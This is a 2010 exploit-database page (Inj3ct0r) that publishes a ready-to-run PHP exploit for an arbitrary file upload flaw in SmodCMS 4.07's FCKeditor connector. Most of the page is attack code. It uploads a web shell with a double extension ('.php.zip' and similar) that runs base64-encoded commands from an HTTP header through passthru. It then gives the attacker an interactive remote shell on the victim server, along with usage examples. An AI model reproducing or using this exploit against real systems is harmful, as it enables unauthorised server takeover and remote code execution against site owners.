SmodCMS v.4.07 (fckeditor) Remote Arbitrary File Upload Expl
Posted on 24 April 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>SmodCMS v.4.07 (fckeditor) Remote Arbitrary File Upload Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================================== SmodCMS v.4.07 (fckeditor) Remote Arbitrary File Upload Exploit =============================================================== <?php /* ----------------------------------------------------------------- SmodCMS v.4.07 (fckeditor) Remote Arbitrary File Upload Exploit ----------------------------------------------------------------- 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ######################################## 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 ######################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Developers: www.smod.pl Download : http://smod.pl/pliki/smodcms407.zip exploited by ..: eidelweiss Special thanks to all my friends who helped and support me when i sick details..: works with an Apache server with the mod_mime module installed (if specific) [-] vulnerable code in path/fckeditor/editor/filemanager/connectors/php/config.php [*] // SECURITY: You must explicitly enable this "connector". (Set it to "true"). [*] [*] $Config['Enabled'] = true ; [*] [*] // Path to user files relative to the document root. [*] $Config['UserFilesPath'] = '/userfiles/' ; [*] [*] // Fill the following value it you prefer to specify the absolute path for the [*] // user files directory. Usefull if you are using a virtual directory, symbolic [*] // link or alias. Examples: 'C:\MySite\UserFiles\' or '/root/mysite/UserFiles/'. [*] // Attention: The above 'UserFilesPath' must point to the same directory. [*] [*] // What the user can do with this connector. [*] $Config['ConfigAllowedCommands'] = array('QuickUpload', 'FileUpload', 'GetFolders', 'GetFoldersAndFiles', 'CreateFolder') ; [*] [*] $Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....] [*] $Config['DeniedExtensions']['File'] = array() ; [*] [*] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ; [*] $Config['DeniedExtensions']['Image'] = array() ; [*] [*] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ; [*] $Config['DeniedExtensions']['Flash'] = array() ; [*] [*] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ; [*] $Config['DeniedExtensions']['Media'] = array() ; with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked */ */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print " [-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function upload() { global $host, $path; $connector = "/fckeditor/editor/filemanager/connectors/php/config.php"; $file_ext = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv"); foreach ($file_ext as $ext) { print " [-] Trying to upload with .{$ext} extension..."; $data = "--abcdef "; $data .= "Content-Disposition: form-data; name="NewFile"; filename="0k.php.{$ext}" "; $data .= "Content-Type: application/octet-stream "; $data .= "<?php ${print(_code_)}.${passthru(base64_decode($_SERVER[HTTP_CMD]))}.${print(_code_)} ?> "; $data .= "--abcdef-- "; $packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0 "; $packet .= "Host: {$host} "; $packet .= "Content-Length: ".strlen($data)." "; $packet .= "Content-Type: multipart/form-data; boundary=abcdef "; $packet .= "Connection: close "; $packet .= $data; preg_match("/OnUploadCompleted((.*),'(.*)')/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die(" [-] Upload failed! (Error {$html[1]}: {$html[2]}) "); $packet = "GET {$path}0k.php.{$ext} HTTP/1.0 "; $packet .= "Host: {$host} "; $packet .= "Connection: close "; $html = http_send($host, $packet); if (!eregi("print", $html) and eregi("_code_", $html)) return $ext; sleep(1); } return false; } print " +-------------------------------------------------------------------------------+"; print " | SmodCMS v.4.07 (fckeditor) Remote Arbitrary File Upload Exploit by eidelweiss |"; print " +-------------------------------------------------------------------------------+ "; if ($argc < 3) { print " Usage......: php $argv[0] host path "; print " Example....: php $argv[0] localhost /"; print " Example....: php $argv[0] localhost /SmodCMS/ "; die(); } $host = $argv[1]; $path = $argv[2]; if (!($ext = upload())) die(" [-] Exploit failed You are not lucky... "); else print " [-] Shell uploaded in progress...! "; define(STDIN, fopen("php://stdin", "r")); while(1) { print "SmodCMS-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}0k.php.{$ext} HTTP/1.0 "; $packet.= "Host: {$host} "; $packet.= "Cmd: ".base64_encode($cmd)." "; $packet.= "Connection: close "; $html = http_send($host, $packet); if (!eregi("_code_", $html)) die(" [-] Exploit failed You are not lucky... "); $shell = explode("_code_", $html); print " {$shell[1]}"; } else break; } ?> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? 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